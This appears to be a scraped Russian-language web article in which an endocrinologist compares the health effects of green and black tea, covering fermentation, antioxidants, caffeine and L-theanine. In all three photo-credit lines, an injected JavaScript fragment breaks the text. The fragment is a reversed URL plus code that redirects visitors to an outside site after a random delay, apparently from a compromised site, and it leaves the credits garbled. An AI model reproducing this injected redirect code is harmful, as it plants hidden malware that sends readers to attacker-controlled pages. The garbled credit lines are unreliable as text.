Вопрос: зелёный чай полезнее чёрного?

Чёрный и зелёный чаи — универсальные напитки, популярные в разных странах мира. Правда ли, что зелёный чай полезнее чёрного, и стоит ли отдавать ему предпочтение в повседневной жизни? Об этом мы попросили рассказать врача-эндокринолога медицинского центра ROSH и автора телеграм-канала «Эндоновости» Евдокию Цветкову.

Чем отличаются чёрный и зелёный чаи?

— Чаем называют листья чайного куста и напиток, приготовленный на их основе. Чёрный чай получается путём полной ферментации листьев чайного дерева, зелёный — частичной ферментации. Разные виды чая получают из листьев одного и того же растения. Ещё существуют жёлтый и белый чаи слабой ферментации. 

Чай богат дубильными веществами (катехинами и танинами), эфирными маслами, аминокислотами, пигментами, органическими кислотами, витаминами В1, В2, Р, РР, микро- и макроэлементами и кофеином. Полезные вещества при заваривании листьев попадают в напиток. 

Вопрос: зелёный чай полезнее чёрного?. Изображение номер 1

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

Зелёный чай правда полезнее?

Зелёный чай содержит преимущественно катехины, а чёрный — танины (окисленные катехины, придающие чаю тёмный цвет). Эти вещества имеют похожий с антиоксидантами эффект — они нейтрализуют свободные радикалы. Благодаря катехинам зелёный чай обладает противовирусным и противобактериальным эффектом, что делает его полезным напитком при инфекционных заболеваниях.  

Количество антиоксидантов зависит только от сорта чая. Один сорт чёрного чая будет содержать меньше антиоксидантов, чем зелёный, другой — больше.  

И чёрный, и зелёный чай содержат кофеин. Как правило, в чёрном чае его больше, поэтому чувствительным к кофеину людям лучше выбирать зелёный. Зелёный чай содержит больше L-теанина — аминокислоты, которая имеет успокаивающий эффект, балансирующий эффекты кофеина. 

Вопрос: зелёный чай полезнее чёрного?. Изображение номер 2

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

Как показывают многочисленные исследования, любой чай благотворно влияет на организм человека. Чай может снизить вероятность развития рака желчных путей (особенно у женщин). Кроме того, чай обладает лёгким мочегонным эффектом, что позволяет немного снизить артериальное давление, несмотря на дополнительное поступление в организм жидкости. Именно поэтому нет причин отказываться от чая людям с артериальной гипертензией. 

Употребление не менее трёх чашек зелёного чая в день снижает риск развития рака предстательной железы, рака эндометрия и рака желудка, а также сердечно-сосудистых заболеваний

У пациентов с сахарным диабетом второго типа чай без сладких добавок может несколько снижать уровень глюкозы крови натощак.

Какой напиток самый полезный?

С точки зрения диетологии самый полезный напиток — вода. Кофе полезен при умеренном употреблении до 3–5 чашек в день. Напиток снижает риски сердечно-сосудистых заболеваний и смерти, сахарного диабета второго типа и депрессии у женщин. Важно пить чай и кофе без добавления сахара, особенно если вы хотите снизить или поддерживать массу тела и уровень глюкозы крови.

Вопрос: зелёный чай полезнее чёрного?. Изображение номер 3

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

Что в итоге?

И чёрный, и зелёный чай полезны для здоровья. Количество антиоксидантов зависит от сорта чая, а не вида. Кофеин содержат оба вида чая, но в чёрном его обычно больше. Сбалансированный рацион может включать в себя употребление воды, чёрного, зелёного чая, а также кофе. 

Статьи по теме

Тест. Проверьте, как много вы знаете о кофе

Как чёрный чай может помочь вам похудеть

15 полезных продуктов, богатых клетчаткой

Энергетические напитки отрицательно влияют на сердечную активность

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector